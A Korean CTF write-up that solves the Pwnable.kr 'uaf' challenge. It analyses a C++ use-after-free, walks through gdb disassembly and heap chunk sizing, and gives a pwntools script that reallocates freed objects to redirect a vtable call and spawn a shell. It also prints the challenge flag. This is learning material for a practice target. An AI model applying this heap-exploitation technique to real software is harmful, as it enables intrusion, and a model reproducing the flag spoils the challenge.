Home
System Hacking
🎖️

[Pwnable.kr] uaf Writeup

Type
Wargame
년도
NOP
Name
Pwnable.kr
분야
System
세부분야
FSB
2023/07/25 18:02
점수
10점대
1 more property

풀이 사전 지식

+ UAF
UAF

# Problem

# Analysis

# uaf.cpp

소스를 먼저 분석해보면 Human이라는 클래스를 상속받는 ManWoman 클래스가 선언되어 있습니다.
Human* m = new Man("Jack", 25); Human* w = new Woman("Jill", 21);
C++
복사
사용자의 입력을 받아 1, 2, 3 중 입력한 값에 따라서 함수 호출, 메모리 할당, free를 진행합니다.
switch(op){ case 1: m->introduce(); w->introduce(); break; case 2: len = atoi(argv[1]); data = new char[len]; read(open(argv[2], O_RDONLY), data, len); cout << "your data is allocated" << endl; break; case 3: delete m; delete w; break; default: break; }
C++
복사
UAF 취약점이 발생하며, 최종적으로 UAF 취약점을 이용하여 give_shell 함수를 실행하면 되는 것을 알 수 있습니다.

# Dynamic Analysis

# Run

아래의 명령어를 입력하여 실행합니다.
./uaf 3 1
Bash
복사
3을 입력해 m, w 변수를 free 해준 뒤 1을 입력해 보면 아래와 같이 Segmentation fault가 뜬것을 확인할 수 있습니다.

# Static Analysis

gdb -q ./uaf source /usr/share/peda/peda.py
Bash
복사

# give_shell address

give_shell 함수의 주소를 확인해보겠습니다.
info func (생략) 0x000000000040117a Human::give_shell() 0x0000000000401192 Human::introduce() (생략)
Bash
복사
give_shell0x000000000040117a

# disas main

아래의 명령어를 입력하여 main을 확인할 수 있습니다.
일단 먼저 1을 입력하면 발생하는 일을 확인해보겠습니다.
gdb-peda$ pdisas main Dump of assembler code for function main: (생략) 0x0000000000400fb5 <+241>: cmp eax,0x2 0x0000000000400fb8 <+244>: je 0x401000 <main+316> 0x0000000000400fba <+246>: cmp eax,0x3 0x0000000000400fbd <+249>: je 0x401076 <main+434> 0x0000000000400fc3 <+255>: cmp eax,0x1 0x0000000000400fc6 <+258>: je 0x400fcd <main+265> 0x0000000000400fc8 <+260>: jmp 0x4010a9 <main+485> (생략) End of assembler dump.
C
복사
main+255 부분에서 비교를 한 뒤 1을 입력하면 main+265으로 점프합니다.
main+265에서 중심적으로 봐야하는 부분을 아래와 같습니다.
0x0000000000400fcd <+265>: mov rax,QWORD PTR [rbp-0x38] 0x0000000000400fd1 <+269>: mov rax,QWORD PTR [rax] 0x0000000000400fd4 <+272>: add rax,0x8 0x0000000000400fd8 <+276>: mov rdx,QWORD PTR [rax] 0x0000000000400fdb <+279>: mov rax,QWORD PTR [rbp-0x38] 0x0000000000400fdf <+283>: mov rdi,rax 0x0000000000400fe2 <+286>: call rdx 0x0000000000400fe4 <+288>: mov rax,QWORD PTR [rbp-0x30] 0x0000000000400fe8 <+292>: mov rax,QWORD PTR [rax] 0x0000000000400feb <+295>: add rax,0x8 0x0000000000400fef <+299>: mov rdx,QWORD PTR [rax] 0x0000000000400ff2 <+302>: mov rax,QWORD PTR [rbp-0x30] 0x0000000000400ff6 <+306>: mov rdi,rax 0x0000000000400ff9 <+309>: call rdx
C
복사
main+265~286까지 분석을 진행해보면 아래와 같습니다.(맞는건가…?)
1.
raxrbp-0x38주소에 있는 값 저장
m의 주소 값(m은 포인터니까)
2.
raxrax 주소에 있는 값을 저장
m의 주소에 있는 값(포인터를 통해 접근 후 필요한 값에 접근)
3.
rax8 더하기
4.
rdxrax주소에 있는 값 저장
5.
rax rbp-0x38주소에 있는 값 저장
6.
rdx에 있는 값 호출
이를 소스코드로 예상해보면 아래와 같다고 예상할 수 있습니다.
m->introduce(); w->introduce();
C
복사
해당 내용을 확인하기 위해 main+265breakpoint를 걸어줍니다.
b *main+265 r 1
Bash
복사
ni2번 입력해 rax에 담기는 값을 확인해 보겠습니다.
ni ni
Bash
복사
raxgive_shell 함수의 주소를 확인할 수 있습니다.
rax에 저장된 메모리 주소와 rax+8를 확인해보겠습니다.
그럼 아래와 같은 방법으로 rdx에 담기는 rax 값을 변조할 수 있습니다.
1.
m과 w를 free
2.
m과 w와 같은 size의 memory를 할당
3.
할당 받은 메모리에 0x401570 - 8(0x401568)을 저장
4.
m을 호출
일단 할당 받은 메모리의 크기를 먼저 확인해보겠습니다.
x/gx $rbp - 0x38 #0x00000000011eac50 x/gx 0x00000000011eac50 - 0x8 x/gx $rbp - 0x30 #0x00000000011eaca0 x/gx 0x00000000011eaca0 - 0x8
Bash
복사
size가 0x21로 prev_inuse를 빼면 0x20(32)Byte를 할당 받은 것을 확인할 수 있습니다.
prev_sizesize 크기인 16 Byte를 빼주면 16Byte가 총 할당 받은 메모리임을 알 수 있습니다.
먼저 Heap은 메모리 할당의 요청할 경우 32bit에서는 8 Byte, 64bit에서는 16Byte 단위로 할당합니다. 하지만 여기서 하나 더 알아야하는 부분이 있습니다.
prev_size는 앞의 freechunk의 크기를 저장하고 있습니다. 따라서 prev_size는 앞의 chunkfree되지 않았다면 낭비되는 자리입니다. 메모리의 낭비를 최소화 하기 위해서 할당되는 메모리의 상황에 따라 prev_size를 이용합니다.
3~24Byte까지 할당해도 상관 없습니다.
마지막으로 payload를 작성하기 위해 메모리를 할당하는 부분을 보겠습니다.
len = atoi(argv[1]); data = new char[len]; read(open(argv[2], O_RDONLY), data, len); cout << "your data is allocated" << endl;
C++
복사
사용자가 입력한 argv를 기준으로 메모리를 할당하고 저장함으로 아래의 명령어를 입력하여 0x401568을 data에 저장할 수 있도록 파일을 생성해줍니다.
mkdir /tmp/jang python -c 'print "\x68\x15\x40"' > /tmp/jang/payload
Bash
복사

# Attack Vector

## UAF

# Free

3을 입력하여 mwfree 해줍니다.

# After

2를 입력하여 3~24Byte Payload를 입력하여 m의 주소를 다시 재할당 받고 Payload를 저장합니다.

# USE

1을 입력하여 m->introduce()을 호출합니다.

# Exploit

# How to Double Malloc

해당 Payload를 트리거 하기 위해서 메모리 할당을 2번 해줘야 합니다.
먼저 free하는 코드와 호출하는 코드를 보면 아래와 같습니다.
(use) m->introduce(); w->introduce(); (free) delete m; delete w;
C++
복사
LIFO구조를 가지는 fastbin의 입장에서 볼 경우 아래와 같이 쌓이며, 맨 위에 있는 w 먼저 할당하여 사용합니다.
1.
w
2.
m
즉 한번만 할당을 하면 w에 할당을 하고 mfree된 상태에서 m→introduce()를 호출함으로 segmentation fault가 발생하는걸 확인할 수 있습니다.

# Payload

from pwn import * s = ssh(user='uaf', host='pwnable.kr', port=2222, password='guest') p = s.process(executable="/home/uaf/uaf", argv=["","4",'/tmp/jang/temp']) def USE(): p.recvuntil('3. free') p.sendline('1') def AFTER(): p.recvuntil('3. free') p.sendline('2') def FREE(): p.recvuntil('3. free') p.sendline('3') FREE() AFTER() AFTER() USE() p.interactive()
Python
복사
조금 기다려주면 shell을 획득할 수 있습니다.

# Flag

yay_f1ag_aft3r_pwning
Plain Text
복사

# 여담

맹글링과 디맹글링 그리고 vtable에 대해서도 추가로 공부한 내용을 작성했습니다.

# Reference